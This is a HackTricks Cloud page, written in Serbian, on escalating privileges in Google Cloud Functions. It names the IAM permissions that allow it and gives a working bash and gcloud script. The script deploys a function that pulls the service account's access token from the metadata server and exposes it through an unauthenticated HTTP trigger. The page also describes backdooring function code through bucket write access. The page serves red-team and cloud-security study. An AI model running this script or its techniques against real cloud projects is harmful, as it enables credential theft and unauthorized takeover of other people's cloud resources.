GCP - Cloudfunctions Privesc
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
cloudfunctions
Više informacija o Cloud Functions:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Napadač sa ovim privilegijama može napraviti novu Cloud Function sa proizvoljnim (malicioznim) kodom i dodeliti joj Service Account. Zatim, iscuriti token Service Account-a iz metapodataka kako bi eskalirao privilegije.
Neke privilegije za aktiviranje funkcije mogu biti potrebne.
Eksploatacijski skripti za ovu metodu mogu se naći ovde i ovde, a unapred izgrađeni .zip fajl može se naći ovde.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Napadač sa ovim privilegijama može modifikovati kod funkcije i čak modifikovati servisni nalog koji je povezan sa ciljem exfiltracije tokena.
caution
Da biste implementirali cloud funkcije, takođe će vam biti potrebne actAs dozvole za podrazumevani servisni nalog za računanje ili za servisni nalog koji se koristi za izgradnju slike.
Neke dodatne privilegije kao što su .call
dozvola za verziju 1 cloudfunctions ili uloga role/run.invoker
za aktiviranje funkcije mogu biti potrebne.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Ako dobijete grešku Permission 'run.services.setIamPolicy' denied on resource...
to je zato što koristite parametar --allow-unauthenticated
i nemate dovoljno dozvola za to.
Eksploatacijski skript za ovu metodu možete pronaći ovde.
cloudfunctions.functions.sourceCodeSet
Sa ovom dozvolom možete dobiti potpisanu URL adresu da biste mogli da otpremite datoteku u funkcijski bucket (ali kod funkcije neće biti promenjen, još uvek ga morate ažurirati)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Nisam baš siguran koliko je ova dozvola korisna iz perspektive napadača, ali dobro je znati.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
Dajte sebi bilo koju od prethodnih .update
ili .create
privilegija da biste eskalirali.
cloudfunctions.functions.update
Samo imajući cloudfunctions
dozvole, bez iam.serviceAccounts.actAs
nećete moći da ažurirate funkciju, PA TO NIJE VALIDNA PRIVESC.
Pristup za čitanje i pisanje nad bucket-om
Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kada god dođe do ažuriranja u bucket-u, možete ažurirati novi kod sa svojim kodom koji će nova verzija Cloud Function-a pokrenuti sa dostavljenim backdoored kodom.
Možete proveriti više o napadu u:
Međutim, ne možete ovo koristiti za prethodno kompromitovanje trećih strana Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati preko njega, dobijate sledeću grešku:
 (1) (1).png)
caution
Međutim, ovo bi moglo biti korišćeno za DoS napade.
Pristup za čitanje i pisanje nad Artifact Registry
Kada se kreira Cloud Function, nova docker slika se šalje u Artifact Registry projekta. Pokušao sam da modifikujem sliku novom, pa čak i da obrišem trenutnu sliku (i cache
sliku) i ništa se nije promenilo, cloud function nastavlja da radi. Stoga, možda bi moglo biti moguće zloupotrebiti napad Race Condition kao sa bucket-om da promenite docker kontejner koji će biti pokrenut, ali samo modifikovanje sačuvane slike nije moguće za kompromitovanje Cloud Function-a.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.